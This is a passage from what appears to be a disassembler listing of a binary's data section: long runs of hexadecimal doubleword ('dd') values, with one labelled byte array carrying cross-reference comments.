		dd 0E70FA5ECh, 4E464EFDh, 4D17E29Ah, 6C78C7h, 84D49E26h
		dd 5C61983Dh, 78054700h, 46A35A6h, 116C0AFFh, 889CDACDh
		dd 0C10ED419h, 134AC0C2h, 9789F360h, 0FBCC62E0h, 828D700h
		dd 4B313BE2h, 7A43072Fh, 911E09CDh, 8564821Fh, 0A1A43378h
		dd 8DE32FC0h, 943E0080h, 4FEC2307h, 0E496ADF9h,	0A269E800h
		dd 17502E3Dh, 26052Ah, 0D1A4C5D0h, 64000E29h, 79F6DC7Ch
		dd 51FCCC0h, 60210AF1h,	0C7B680C5h, 0F8B80BCEh,	0E091BB50h
		dd 0A501B3FEh, 67145158h, 0A4409DB0h, 7BFDBD23h, 41C107C7h
		dd 194F580Eh, 8EA88824h, 62FEC0B0h, 7DCFCh, 0F48E90D0h
		dd 0AA5DF08h, 5000EF4Eh, 29C2A83Dh, 16B30097h, 8E545577h
		dd 911DC926h
		dd 19C02D53h, 4789AC5Dh, 0B09590BCh, 9CCE00E0h,	1B049350h
		dd 6B00B92Eh, 28F0F766h, 489BF2C8h, 0B80EA4E6h,	19DEFB70h
		dd 0E9E21031h, 2D7C7043h, 0C3DB10C0h, 0B09576B4h, 125D24D0h
		dd 6D960014h, 0B05FBCCFh, 31FEB100h, 77DCF41Fh,	0E1AE00D3h
		dd 5FF9A64h, 5800A811h,	0C97BA143h, 0C73F6Fh, 5F077C1Bh
		dd 0C04636EEh, 0D4263303h, 0F8F9A19Dh, 8A019h, 0DAF76F18h
		dd 6A580A16h, 69F62100h, 90301EEh, 639C000Eh, 847D49C7h
		dd 7C3DB383h, 7EE98791h, 0CC10704Dh, 0EED3D0Bh,	182BA959h
		dd 53EC9320h, 7E0044ACh, 6C13682Ch, 3ACFA6h, 0C68CF9DBh
		dd 3C01CC98h, 0C1005477h, 803B1DFCh, 0E073AF0Dh, 4BC8148Dh
		dd 0EE00E931h, 0BDEFBBE9h, 8800D4A8h, 0D6989B24h, 4A3052h
		dd 7C20F358h, 6EA631E5h, 1A366000h, 949C3AF9h, 68E809h
		dd 3199AA49h, 0C65EEBD9h, 0B311C00Eh, 0E90B1F4Fh, 718D00AFh
		dd 544434h, 0E7EC2630h,	5A90E062h, 0E501A6F0h, 0BC2DACBh
		dd 0ACE86CF6h, 6BB841h,	0EFBA4D7Bh, 580FB4FCh, 5301DA00h
		dd 1EE1AC3Ch, 956D06A7h, 0B09FE3EEh, 38009473h,	0BE821971h
		dd 0F17D4Eh, 70EEA73Ch,	2A241AFAh, 345EAE03h, 0A18814C9h
		dd 4CF0E79Eh, 4F4203ABh, 0A0BC2E15h, 0B079C807h, 0BFF0A906h
		dd 9CC3B8h, 67CA8FF8h, 9DB72CAFh, 0A79AC600h, 2E056195h
		dd 0C1300034h, 0C36B836Ch, 1E000C4Bh, 0A4DDFD47h, 0EC8B4Dh
		dd 50D3CFA2h, 3E25D880h, 0BE07B590h, 0ACE4F9BAh, 9E7C3820h
		dd 1EAF71F7h, 638D30h, 0AD646F25h, 930179D7h, 7076DE9Dh
		dd 153016F2h, 3D300D4h,	0CEAF8799h, 2D3D555Bh, 13007F88h
		dd 37DBDC4Dh, 563184h, 2F4148Fh, 0C0E8D433h, 0AB95F303h
		dd 0F83ECE94h, 7AED09h,	0D1E5A9BFh, 252A53C3h, 5CF95707h
		dd 0C7FE394Dh, 0BCD03243h, 77C191h, 0D3B2B1A5h,	2A9F8051h
		dd 0EC00CAEEh, 0F67F7EEAh, 265773h, 70A89EAAh, 0CD60A5Bh
		dd 43345200h, 0B8FE3C77h, 0E7F009Ch, 3AD796C4h,	6C00D036h
		dd 0D504584Bh, 8EBB1Eh,	160B05B6h, 3BBFB36Ah, 714BB501h
		dd 1D64277Ch, 4CA9F4h, 0D7F1843Ch, 0B1533905h, 0BE481300h
		dd 0FD7A24E1h, 5122002Bh, 0EDEB696Bh, 70009428h, 879EA7EFh
		dd 0FF6EEAh, 5EB875A4h,	0CC21AA47h, 1274DC00h, 13F25541h
		dd 80730014h, 4D2EF5FDh, 7007FFD8h, 1FD785ADh
		db 0B0h
byte_520045	db 0F2h, 3Bh, 36h	; DATA XREF: ___:00437A28o
					; ___:00437A40o
		dd 0D2F40E93h, 1C800706h, 0A113BA8Dh, 7800A0F6h, 84565C0Eh
		dd 245BF0DDh, 368F274h,	5A6EFE1Bh, 467AC098h, 0DA0B08B8h
		dd 0E8765EEh, 0AEF4C00Eh, 5B7968h, 0BA998B0Fh, 0AD3C2B6Eh
		dd 0E93DC030h, 76DF3D8h, 0CB772282h, 8B7030A1h,	871CE390h
		dd 0BC714Dh, 93F17CF2h,	0C065AF6h, 43A2D316h, 0E0307B18h
		dd 0F0F1917Eh, 72CB079Fh, 41A890AFh, 419BFED6h,	44EFFF10h
		dd 9EE1C028h, 7A0225DEh, 9C126A94h, 1A49C1F5h, 61B173F0h
		dd 4EC56142h, 9717000Ah, 7ED87F90h, 77B40C96h, 38B19D69h
		dd 0B02FE217h, 96C3F900h, 63B3CD55h, 897038F7h,	8B6A2005h
		dd 0A02149DCh, 219CF673h, 86E98085h, 78A90DEBh,	16E3F200h
		dd 0CF0B537Fh, 0B56400EAh, 0A2E9D9F1h, 0F20BB358h, 11CC3DCh
		dd 67D510F2h, 7A19FECh,	4E5743C6h, 3354D0B5h, 3F12367Ch
		dd 0AE00BC97h, 13345384h, 3B7790F0h, 96001FDBh,	9852757Bh
		dd 4F003A57h, 1486C2FCh, 2D375Eh, 0FBEE93BFh, 0A1969760h
		dd 0DD48BD00h, 9EAFBB5Ah, 4E031EA2h, 3B024054h,	39409089h
		dd 0B812B603h, 0B00DF331h, 7D617C97h, 130C002Ah, 0EAA00E9Dh
		dd 0BC0039B1h, 83F3D94Ah, 126BA52Bh, 150226h, 651C8B19h
		dd 0D507DD85h, 3D0DA86Eh, 0CE16C100h, 724502DCh, 0F7D27D68h
		dd 5792B090h, 8B5B9B00h, 737EE248h, 1F08C631h, 0B101207Ch
		dd 0FF59B6Fh, 8D40118Ch, 0E82D6017h, 0CCD0003h,	5FD6291Fh
		dd 0E8A099EBh, 36FCABF2h, 0F3002775h, 6A97247Ah, 4985CECCh
		dd 7C1D0C4Eh, 0D647C0E7h, 0AD55AE05h, 198B5A07h, 0A2A1AF59h
		dd 0F450952Fh, 0E98F9BEh, 0A5CC0ED7h, 54C3D9E0h, 6502F1A7h
		dd 0FE722239h, 0EA88605Ch, 5F81C1A0h, 203615C8h, 7E75A129h
		dd 1983E203h, 0C0E46055h, 309A4FBBh, 9C31A3EBh,	7D005E16h
		dd 4558A4BAh, 0D8CF7122h, 767B2188h, 9C2C4200h,	0A9897223h
		dd 224C8855h, 88475030h, 60B6F1ABh, 7FC51894h, 8D30090Dh
		dd 0BFF010AAh, 0F78100EEh, 3AEB76ECh, 880F6DA0h, 80D9465Dh
		dd 0F8AA8249h, 0C6E2003Fh, 0F0CE1A9Dh, 0E424C735h, 5F00F706h
		dd 0AC87FF4Ah, 8208006Ch, 0DE76B46h, 9B027AC5h,	65DF5702h
		dd 0A9A4E0FAh, 0EF790F2Dh, 0E0E059DBh, 0F69DD142h, 4F190400h
		dd 7464D4ADh, 0D8B60025h, 0E0A8F2BDh, 8738F661h, 516200DAh
		dd 98C410B0h, 92BB1775h, 1DB90315h, 0BAD84497h,	7200DD1Fh
		dd 0F5EB7F64h, 0FF7CE88Ch, 5E8048BCh, 0E45CC2BAh, 0F000894Eh
		dd 3929DF52h, 0F684C45h, 1D326A9Ch, 33A512C0h, 86008508h
		dd 0F6C202C6h, 55ED28h,	0F1D39119h, 0DA63458Ah,	0CFB6D700h
		dd 0B14FE06Fh, 0D6CA0049h, 2C729A95h, 390CB765h, 0C9B0DFE5h
		dd 88D0BDA9h, 26FFE81Dh, 0A05A49h, 2EEF5726h, 9B7F011Fh
		dd 4E5E94CCh, 9EA88F0Dh, 968663A9h, 8C100117h, 1B459960h
		dd 7B7AF009h, 476BBE03h, 3E972h, 288F9219h, 0F33C7D35h
		dd 32B3CE1Dh, 38678030h, 605C737Eh, 9EED10AFh, 9F00C33Fh
		dd 40719C93h, 86B618h, 0D0E3BE4Bh, 0BDF77317h, 0C8657E00h
		dd 3F0D10DFh, 49D300E1h, 9E64486Fh, 89B8EEEAh, 0E5515300h
		dd 4E9196A0h, 201400AAh, 454D1917h, 1B48473Eh, 0F732074Eh
		dd 6F20C034h, 7B1C5Ah, 4835B159h, 0B955753Fh, 37B80900h
		dd 0F6F20A4h, 93E003FEh, 0D26E5C12h, 2C92A198h,	50013FF2h
		dd 888D3653h, 63F477CCh, 0A82D051Ch, 5ACEC4h, 4C05EAB8h
		dd 6209B8CBh, 3960B4Eh,	0D0562BE3h, 175073Fh, 0AAAEB243h
		dd 0E04844E8h, 0B607CA87h, 0B3AD569Eh, 0B5101100h, 0C1CE00D1h
		dd 0DB6BC2BEh, 72009C3Ch, 18445129h, 8F88B2h, 234B4252h
		dd 0E716B46Eh, 1CEC377Eh, 0D300D076h, 0BAF75BA7h, 48797h
		dd 8A77E09Bh, 0C7589C50h, 0E71DD7A0h, 0B7A2622Eh, 5B6FEC00h
		dd 96ED32h, 5E151A0Bh, 0C279F9C9h, 8F9A650Fh, 130F416Bh
		dd 0B0401BEAh, 0D2FFDh,	815D8A14h, 61A7B787h, 3EAA3A3Ch
		dd 0A30A031Fh, 8BE3EBD2h, 6D2921F8h, 887D1008h,	0A284A40Eh
		dd 790815E0h, 2F67A642h, 0D588A0E8h, 86C588FCh,	507F22B8h
		dd 65332806h, 49179FEh,	4AB2FB14h, 720828FAh, 84BD90E7h
		dd 0BE4A7C6Eh, 0E8B50814h, 887D0988h, 92948E75h, 0E5631B78h
		dd 70519E29h, 2C40013Ch, 0CD2246F7h, 80BF478h, 34A2B03h
		dd 0F847F22Fh, 9E61CFh,	0A6F79BD7h, 5B2A135Ah, 5F3EA490h
		dd 0F2AE01CEh, 38A21E9Dh, 516620h, 0F4D16FDDh, 0A5D51456h
		dd 10BB3B00h, 0A4CBC745h, 3B472DCh, 2D8FF8A9h, 4F801C26h
		dd 0EB015680h, 8365EDF2h, 4AE116BFh, 1EE4D9DCh,	407173D2h
		dd 5B743AACh, 5A26686Dh, 6E00982Fh, 29918264h, 0E17888h
		dd 0C88C931Bh, 3FD0595Bh, 0CB87424h, 32D97500h,	1A569Bh
		dd 6A92B38Bh, 0FFC9F66Fh, 7D838C3h, 321FA895h, 497F00ADh
		dd 64D5B853h, 15009FE7h, 4FC723A1h, 63C040h, 0F43AC825h
		dd 78581F74h, 46E63200h, 67D730Eh, 25E00288h, 751AA0C0h
		dd 0E09AFC41h, 18007857h, 0CC35430Eh, 0D7B753h,	4590FAE1h
		dd 0AE02E6DEh, 4317BA1Ch, 2B4E9640h, 68C1C6h, 99F404ECh
		dd 0D7F8183Fh, 45826100h, 74C66E89h, 17BF292h, 0A1A8C28Dh
		dd 0FC8C3942h, 1350B0AFh, 0EE03CA98h, 0DA6AF886h, 0F246C0F9h
		dd 8A980245h, 77272DECh, 0AA00B63h, 0F00F3CFh, 0A54B2A1Ch
		dd 91C320h, 0ECC2B9D9h,	47C1F434h, 6666700h, 0F29413A1h
		dd 0ACC60073h, 589948FEh, 7900D557h, 0BB4C9F3Fh, 751E33D7h
		dd 78A40341h, 10676B99h, 0F70531F8h, 88406E28h,	7201E175h
		dd 0D6B37D19h, 9CF4C4D9h, 34BFCE9h, 896C4D14h, 84F8C6EBh
		dd 1AFEEFAAh, 0C3C81600h, 9AE3DD64h, 0AEE502E7h, 0CF2969CDh
		dd 0CCFF0B60h, 3D75A01Fh, 202A4280h, 40A2C1h, 0D77DE8F5h
		dd 4BB19982h, 97E5A709h, 550900F0h, 0FC69C7h, 0DC4249E1h
		dd 0E20B7D3Fh, 9E032100h, 46C90422h, 5C3C0067h,	8A793D3Ah
		dd 0EA12AAD7h, 2C07E985h, 0A65310B3h, 5B97B08Dh, 0F8E6003Ch
		dd 98819FF7h, 5D0089DAh, 1735F5DCh, 0F5038F3h, 0F6DF0768h
		dd 0DE9EAAE3h, 47AB24D1h, 0D80D31B0h, 0A112E092h, 80F96F03h
		dd 0C0DC5F49h, 0FCC87DC1h, 936E00D4h, 91EB7337h, 2FE6F7B0h
		dd 0B610C728h, 636758A0h, 0C67C5400h, 56C824CFh, 480E48E7h
		dd 0ABA80900h, 4B2E6630h, 0DA3EBA0Ah, 8700D0FFh, 208C58CCh
		dd 699F844h, 357449F5h,	8B1DF03Ch, 0D1C06A61h, 0F8528C7Fh
		dd 0CDFA1DE4h, 2973434Bh, 0C180CFDDh, 0DC097D77h, 581751h
		dd 0DAE70461h, 115502A8h, 0FF208A31h, 6C5E0460h, 0E500337Ah
		dd 81A6AF69h, 169EC8h, 0FE87F7C6h, 5E3143BFh, 0CAE3DC00h
		dd 15CFB595h, 5D890F6h,	0E43C7E29h, 63AC00F8h, 0FE47C74Ah
		dd 200B2730h, 0DD15A7h,	1D7AC33Ch, 3683041h, 0B603AFEAh
		dd 6924DF6Ah, 0F22AE1DDh, 7667B0C3h, 0A980219h,	0F8365E7Ch
		dd 0D7488881h, 0C5D4C057h, 4D184700h, 0DBAB9FA0h, 0D56B0001h
		dd 9D1C4339h, 0CC00A6FDh, 830ED4B4h, 5A506Ch, 0D82D115Dh
		dd 56431F23h, 1C753900h, 642ADD32h, 7F2E06F5h, 44E33B53h
		dd 0F13AF480h, 0AD21E05h, 8412A35Eh, 0C0E31EFFh, 5CFBBE39h
		dd 0D5079EF5h, 0DF4E518Bh, 2F3D8D90h, 44902E1Bh, 3A990070h
		dd 17156ABEh, 2B0C5300h, 7CB04370h, 0AA8B00D9h,	0EE48408Eh
		dd 0C603B53Fh, 854959D5h, 2A8FB1D3h, 5C5E37C0h,	6A030A73h
		dd 1DF2ED6Bh, 8D60E6D0h, 11D17B00h, 25B9C27h, 0C9BF0613h
		dd 2991D9FCh, 0E55F100h
		dd 14BEA9B8h, 0A75100A1h, 0CA236EAEh, 0DB09987Eh, 80524E73h
		dd 8C863700h, 0B210033Ch, 0B4433422h, 6FD0CEB8h, 0EE695F00h
		dd 0E9D9C088h, 249B00F2h, 0AA76EB34h, 0C2001389h, 0EA5D922Ah
		dd 610CA4h, 3B3901D6h, 0FAB1BA78h, 0E72DEF0Bh, 2A9381ABh
		dd 2F4076Bh, 7D8E69Ch, 730D3C6Dh, 0C005807Bh, 0F800599Ah
		dd 0BBA040A3h, 23C174Dh, 42F7281Fh, 0E4403D11h,	9D266D12h
		dd 4900E4DDh, 71346720h, 0DBD50051h, 0E89F6FB2h, 0FBE53D48h
		dd 0D9EB1FE0h, 0C2661103h, 0D85F8F97h, 267AC5CEh, 8558E7D3h
		dd 0C0688E93h, 33D0C4EEh, 56005498h, 5BBAFCCCh,	385CE30Bh
		dd 5807FB1h, 3AAD8C90h,	0D91ED716h, 25803882h, 2DBD4EFAh
		dd 2AE503DDh, 0DFC360F0h, 7A63281Eh, 0FF1EB100h, 2D7E8C7h
		dd 612420D1h, 89E0A84Fh, 0D00E2FD2h, 30163A3h, 908FEF1Ch
		dd 0AACF78h, 0ACF457E2h, 0DC5AD758h, 0D03BE400h, 0ABE5D68Eh
		dd 99BC00C8h, 0A10DF451h, 8D3A94B1h, 89B2BA83h,	1C6EE60h
		dd 332ED60h, 84D820h, 0AFD791FEh, 44239FD5h, 0B622CC00h
		dd 0D225206Fh, 5845FE3Ch, 0DA00542Fh, 2AC8A075h, 27004993h
		dd 0B0E11461h, 0E053AA5Fh, 0E4F60530h, 93704B05h, 0D0D45EE8h
		dd 3B8859BCh, 5A4E8300h, 7F518692h, 0D24F07DBh,	80B37968h
		dd 0AEA21F8h, 15952903h, 0A8509BF0h, 0A27381CBh, 0D8B443D1h
		dd 1EBB91F9h, 67758Fh, 86F16001h, 0BF000F40h, 0B33F2A2Dh
		dd 908D0E83h, 0AE8F0070h, 1BCDE547h, 9900D68Bh,	0D5D9290Fh
		dd 3ADB1336h, 0F202B2BAh, 79C13FADh, 0E14EA880h, 0D6006B19h
		dd 944097BFh, 17B0DB0h,	0F6134CFEh, 7AB98Ah, 2C37CBC6h
		dd 7906B51h, 300852F5h,	42D15A57h, 22701898h, 0DA7E4E00h
		dd 5028AAE9h, 36AC078Ch, 809252A5h, 5C5880FEh, 19575A0Fh
		dd 12D8000Fh, 48134270h, 0F300945Dh, 0B26F26DCh, 503962Eh
		dd 8FD72148h, 0F95AD86Ah, 3F490736h, 10644C76h,	18E8204Bh
		dd 0A998AD00h, 0C4BF8AAFh, 0C4235C59h, 0F8D94800h, 6C1F054Fh
		dd 0F4A97C02h, 0E00DA75Eh, 7E53CA24h, 0BDAC0042h, 7BE923BAh
		dd 0D0707C17h, 0F830D600h, 0D4B980E3h, 659431F3h, 0F033EC36h
		dd 0A6008AEDh, 450696DDh, 7A5E15D8h, 28700065h,	0E16F0E9Eh
		dd 5900E74Ch, 2B107AE2h, 4AFDD51h, 0A9C4D796h, 0FEA4C0AAh
		dd 4C014B04h, 42EFB302h, 98E4F783h, 39F1EF2h, 605FE50h
		dd 0C1AF59D0h, 0C5557911h, 35B4415Eh, 0F3B040E8h, 0EB0FAB08h
		dd 801A6DCCh, 63407E77h, 0FE6B0014h, 0D06CA6F2h, 0B90001BBh
		dd 990BCED5h, 30F59860h, 6660B21Ah, 0C63923E7h,	0ED2F1E70h
		dd 54EFBD40h, 0EED75004h, 692C009Fh, 944D1AF1h,	0B800E426h
		dd 75017FB5h, 26384FEEh, 9FC4AA59h, 7A0B00D2h, 0A88224EDh
		dd 4BBF1C01h, 9188ABA0h, 3999F6D8h, 0BA9FBB94h,	0A207C62Bh
		dd 5300D046h, 57240D76h, 1DAE7EC3h, 131EB6F8h, 2201289h
		dd 0A08CBB7Eh, 25EE9C81h, 2F080C0h, 95074508h, 72AB003Ah
		dd 982D9F74h, 0C503F77Ch, 1290C3EAh, 0CE4A8875h, 62583C71h
		dd 0E4489180h, 0BAD9F116h, 43FB6A00h, 0CB508802h, 0F30C0051h
		dd 0C5A0177Ah, 0A0027FCh, 829C233Bh, 2E8FA65Ch,	3C1253h
		dd 28D60B8Ch, 2A00C449h, 0EC5E7467h, 0EC42E239h, 0E06B005Bh
		dd 70D9685Dh, 0AE00B682h, 93C12DB0h, 0CA6CABh, 0AD24FE7Ah
		dd 0DFB52768h, 817DEF00h, 655DC51h, 7522F07Bh, 3687BB2h
		dd 4B3EF59Ch, 2F864AFh,	14036F1Ah, 261101C6h, 0E0F2B23Fh
		dd 78588BC3h, 4E2D01B2h, 0D59F76CBh, 67B02F9Ah,	0D70201D2h
		dd 0C0827454h, 0DCE840F3h, 0B0005CB3h, 6E7E52FDh, 3E11B84Fh
		dd 4901925Eh, 6077DAA9h, 8A2AF094h, 37546F03h, 0DB8398D3h
		dd 7485F0D8h, 7153079Ch, 12B77336h, 0FB01470Ah,	7D08C228h
		dd 1DE3081Ch, 0AB027200h, 3271E39h, 5CB17AF9h, 23B89873h
		dd 8600F594h, 775AFBB2h, 48B5121h, 5F1648E6h, 7F04808Ah
		dd 0F81D751Dh, 5B453EF7h, 80C7F257h, 0BDAE2CA0h, 3D450044h
		dd 7DF5BC49h, 0F60F5BAAh, 1D5148F8h, 0F202E900h, 300D8DCAh
		dd 78100C82h, 11123425h, 0B8409EC3h, 72FF49E0h,	155B03B0h
		dd 88F80B47h, 273A77E0h, 5804CC00h, 2C8E73A8h, 0D2400F63h
		dd 0FFE0826Ah, 0C8CDC2E1h, 560F8600h, 5CF5EED9h, 0A6D6008Ch
		dd 0F22CF109h, 0D100B285h, 163B2D38h, 0C374861h, 3DD4E7Fh
		dd 2C0EB9C8h, 0E0A146E9h, 6152F78Ah, 668B0EFDh,	0AE00F59Bh
		dd 51CD8C33h, 90B8411Eh, 722DD304h, 1FA23FC0h, 24280061h
		dd 9BBC99D5h, 2A053FD4h, 8474BAC9h, 0AB0B9900h,	7FEC35B1h
		dd 80170044h, 1CE7A428h, 641C2415h, 4E80A27Ah, 0C6337FFDh
		dd 0E0913D9Ch, 0DE3A53CCh, 21D32380h, 3EEE44Eh,	2CB6790Eh
		dd 0A6CB20E2h, 374BB2Fh, 0E1F3548Ch, 4CA89796h,	910904DBh
		dd 80464A9Ah, 12BD28B9h, 592F39E9h, 782E492h, 80C6D15Bh
		dd 7225D7B7h, 3AD9D800h, 0ABA5C1A1h, 3B8C07CAh,	42B040C5h
		dd 5AC0642Fh, 4C00C39Bh, 50B198EEh, 1D06FEh, 0A6953972h
		dd 0AB8490ADh, 52EF800h, 7D294C9Dh, 7EC0C7F6h, 0B1CF90CEh
		dd 0EA00BB56h, 966B02FAh, 0FC82C967h, 0F0D4F9CCh, 891900E3h
		dd 3113F1BFh, 0A50024F7h, 0E9583312h, 0CAC8Eh, 3BC9D514h
		dd 2FE6A9EBh, 56926B07h, 0E60D938h, 0CD3EB2h, 0B443A144h
		dd 6B633BECh, 86F42573h, 99456203h, 0A81024B2h,	0EA56D9FDh
		dd 0F12F0B18h, 0D98006C9h, 0D332B799h, 97A89C00h, 63DD265Dh
		dd 2BF70FABh, 0B960FED9h, 0D349653Ch, 7BDCBF01h, 37DFB6F4h
		dd 7A9A72D8h, 0C56301BDh, 0B3F2F1AEh, 0A800C7A8h, 0B14C01ECh
		dd 3F568AE3h, 0B80052AFh, 51D924CBh, 4900C731h,	0DDD7570h
		dd 1EFD42h, 0A0B18146h,	740A3513h, 8B7E9E17h, 2E0100EFh
		dd 0ECDBC451h, 5AD5A700h, 0B31378BAh, 41CD0091h, 620AD249h
		dd 4603988Bh, 435A5D0Dh, 0ACC6A016h, 2A5801DDh,	0AAD4ED0Eh
		dd 0EEF0CCC4h, 3D557B03h, 986FFA23h, 6205EBh, 83DBC1A3h
		dd 0C69F77F5h, 404B7B24h, 95DCC280h, 0FA5075EFh, 8E660063h
		dd 110BAA35h, 2003FC70h, 6D641FC5h, 5994988Bh, 0D8D20012h
		dd 728FA0B0h, 200040FFh, 1C1869CCh, 7D0CEC4h, 37E9892h
		dd 0A820FEFCh, 0AD68FB7Dh, 80E25800h, 4123F8B7h, 4B160015h
		dd 0CBE087EEh, 0C4E899EAh, 2BED3D0Ah, 34002CB3h, 8E9246D2h
		dd 84B20314h, 2D051A77h, 0C43CCF80h, 0A441607h,	78602EECh
		dd 672674h, 3568BC6Bh, 21995AEEh, 3A07CC7Ch, 0C7A84C12h
		dd 0EFCFE28Fh, 0EB6840ADh, 8218019Ch, 7D2D93C6h, 4FFC50A3h
		dd 0B0007B13h, 42C9BAD7h, 3AF2C524h, 0AF78ED5h,	8CD2EBC2h
		dd 0F5B28CE8h, 86007C11h, 0CCEA043Dh, 322375C4h, 1868DC7Dh
		dd 384B6881h, 7CDC8B5h,	699CB81Dh, 0B6EAA840h, 0B0BC76BDh
		dd 0A70800C4h, 882987F1h, 701DAE83h, 0DFC0DE5Ch, 11FD35D7h
		dd 0D24B00E0h, 0BCED3804h, 0F1FC5A5Eh, 53C66D00h, 0B10A1907h
		dd 31909078h, 9C106E35h, 363A00B6h, 55560091h, 0AA4515CFh
		dd 0B000DDB4h, 57E6F5A9h, 0E77DBEh, 5064A82Eh, 26319895h
		dd 0D093713Eh, 8C01D6DFh, 6E27E48Fh, 0DB208A32h, 0C9CE00C5h
		dd 15D19F2Fh, 0E5E2FC37h, 0E09E8305h, 0B4006966h, 27CB141h
		dd 96F00DAh, 3EF28CD3h,	0AC735277h, 0B3502F60h,	0FC4BE1D1h
		dd 0AEF012h, 4755C46Fh,	0C001F7BDh, 28118900h, 5615D5A9h
		dd 44F24869h, 2B323B00h, 3FC61240h, 96DFD700h, 0E3314AA3h
		dd 946C012Dh, 0E4A67D7Bh
		dd 0CC2F211Ch, 3805E0B8h, 8FFF7C19h, 8D6F9440h,	264FDEFBh
		dd 2D202566h, 0D60086D4h, 0CD30CA8Eh, 0E7BBDh, 112CC353h
		dd 7163D025h, 0D81C5570h, 0ED8904CAh, 9804A32Eh, 0CDF1B8D1h
		dd 4C7614A0h, 7400FF33h, 7350F6A6h, 470BD2B5h, 0D19993h
		dd 3C2CBB49h, 0C17D028Dh, 0DBDC1275h, 76471C40h, 0AC54F618h
		dd 0F6AAD528h, 947524A1h, 17CF8054h, 27901559h,	0D5677400h
		dd 20A8410h, 62F0F8h, 85F99AAAh, 2C6940B4h, 29DD6600h
		dd 7A5C26A2h, 480800E2h, 36D174C9h, 1C0E336Fh, 6E7FEBB9h
		dd 606BE13Fh, 7609E85h,	1E3C98A0h, 8096E397h, 0D086E08Ah
		dd 4287E64h, 3100981Ah,	10B311DFh, 0C1401Bh, 16FA4E86h
		dd 9E12DE20h, 0CA000B7Ch, 0DF098FF7h, 0BB19A3h,	7523EB44h
		dd 20EFDE93h, 149DD700h, 469CE4BCh, 60AF5808h, 0E8D17715h
		dd 2F41A00h, 49A1BA54h,	18713A00h, 6AE7571Bh, 70F04C89h
		dd 2C0FB300h, 4EA3B797h, 0A7B19100h, 44DE1606h,	888004Ch
		dd 1A2771D4h, 0F600357Ah, 0A8E99889h, 1C2CA5Bh,	0E54D9BF3h
		dd 300F8296h, 6F446150h, 503B58F1h, 0AE0E26C9h,	120FE5E9h
		dd 0FBAECC80h, 0FC246C27h, 0AD004CB3h, 0E67205C0h, 82FD024Fh
		dd 8CD4BFE0h, 0A2B8E360h, 10B77830h, 228DCEDAh,	0AD00CD88h
		dd 0F987154Dh, 0E0C5B5F8h, 630624F4h, 189904A4h, 3D4C88DBh
		dd 60B3C124h, 0A0676D0Ch, 8B630BE7h, 0CA00A0B2h, 0C1840B50h
		dd 2CB7D400h, 6846C47Fh, 312E01F0h, 78A88937h, 0DE6080CDh
		dd 400B57CBh, 0F1BD6438h, 0BB5030B2h, 0BA2C642Ah, 9ECC001h
		dd 4492AF71h, 0C7181B00h, 0CD509938h, 12440BF5h, 8C90208Ah
		dd 9E0345B7h, 0D3815704h, 31D0A863h, 0F1C000FBh, 0BFA4E49Ch
		dd 9D0FB76Ah, 0E0341FE9h, 0D4F70178h, 603500B6h, 268CC864h
		dd 4301E0BEh, 2D24E6DBh, 2FFC51B0h, 5F4F879h, 462563DAh
		dd 0A044C0B9h, 2D00BD2Bh, 781C14AFh, 3FD25299h,	338035EAh
		dd 0A8D48360h, 0A428B2F2h, 0D12EAC21h, 0FB8058C4h, 2A26A120h
		dd 0C3F6035Bh, 28FEF2BFh, 0AF5791E7h, 0F9F530E6h, 0A5E51A2Ch
		dd 0BB325500h, 2777E4Fh, 451BF4B7h, 0DE62267Ch,	70D76080h
		dd 0E10131E9h, 38339D2Fh, 0D0FCBA62h, 0F17E0065h, 231443D2h
		dd 3F59696Ah, 0A8F00A8h, 29F5C957h, 2604E2DBh, 1E88CCBh
		dd 2019AD6Ch, 0C64E00B0h, 4959782Dh, 0D2251073h, 497C5430h
		dd 948DE800h, 75622539h, 0B8680397h, 8F8931ACh,	40114481h
		dd 646523F8h, 0FE0B6AECh, 8574D027h, 9B0740C8h,	29510485h
		dd 2CD85EA5h, 4C323061h, 87B326A1h, 11841230h, 730A6B1h
		dd 0A4895170h, 1800091Eh, 81FD8A9Eh, 2D3FDCBAh,	469680AAh
		dd 0C337B4D0h, 40F60034h, 59E4E03Bh, 3301F007h,	0B2387FBCh
		dd 0E83258D2h, 0EF109004h, 5CB2819Dh, 0DD4020BEh, 0AC351F00h
		dd 0E921D62Eh, 52B2002Fh, 80A1CFDBh, 0EF001DC5h, 8CB3219h
		dd 73E81FC7h, 46510049h, 4A5C44C8h, 73008E2Dh, 0CFB7EE65h
		dd 9E8631h, 93EA5263h, 0A2E05605h, 3E1CEB01h, 0DC7BF5F6h
		dd 7005833h, 89A95095h,	0CD002F55h, 5F3DE222h, 0B0DAF532h
		dd 8FCE17A4h, 0B0540001h, 4EDDEB4Ch, 0B1176B01h, 0FE8DED56h
		dd 39493034h, 7C03CDD3h, 92A55FB8h, 44EF9AC8h, 3CB2D212h
		dd 6591C00h, 0B2BD43F3h, 7DB7DA8h, 4107DFB7h, 79B4C088h
		dd 0B500FC1Dh, 0BACD859Fh, 243EE474h, 0C0E7Ah, 77EC7E92h
		dd 0F4F804C3h, 0B5A058h, 8A0D9828h, 0EECCE8C0h,	0EE610030h
		dd 232BD869h, 0DC909905h, 5C496500h, 0BDA6819Ah, 150F2CC3h
		dd 6D96077Ch, 6506A185h, 1D0E303h, 0EC000DA4h, 0F5F38A53h
		dd 7C0EF2h, 0A059BD19h,	0C6A888D9h, 22F8EB63h, 0FE4490A7h
		dd 0EC790095h, 0AF73D2DFh, 0AE019FFAh, 0E7AB74CFh, 3CF47528h
		dd 439E1834h, 0BF5E18AAh, 0E21EB304h, 6CC07684h, 308C2302h
		dd 5220AB0Ch, 7801C947h, 5FE2D403h, 0DA402125h,	30E5EA7h
		dd 75511CF1h, 0F07A5B17h, 4490FF60h, 17BF6EA2h,	203F6216h
		dd 0D1A128DCh, 98925900h, 1726AED3h, 0AA5A2404h, 31FC0068h
		dd 401EF941h, 0B3E1A800h, 0EF6BCE4Bh, 0F50E0B16h, 1084D636h
		dd 0BCABC092h, 0A801BE45h, 2DDF070Dh, 0C305547h, 2C83F077h
		dd 104B4EFh, 0CB134073h, 0DDF4F941h, 0C07A2192h, 973A98DDh
		dd 0ABA2057Ch, 0A4425C83h, 624782A3h, 0B9AD60D4h, 0C8740232h
		dd 0CFF538DBh, 0CB759440h, 0C898563Dh, 0FE707D4h, 865604BFh
		dd 0ED6A1650h, 761040AAh, 4F92792Ch, 7B1611C0h,	3DEDC1A6h
		dd 5000F59Bh, 0C75E0BB0h, 0E8008611h, 0A1F1B528h, 7F8F4655h
		dd 0DAE300F9h, 8B222EA0h, 7512C24Ah, 88807C78h,	1C60B115h
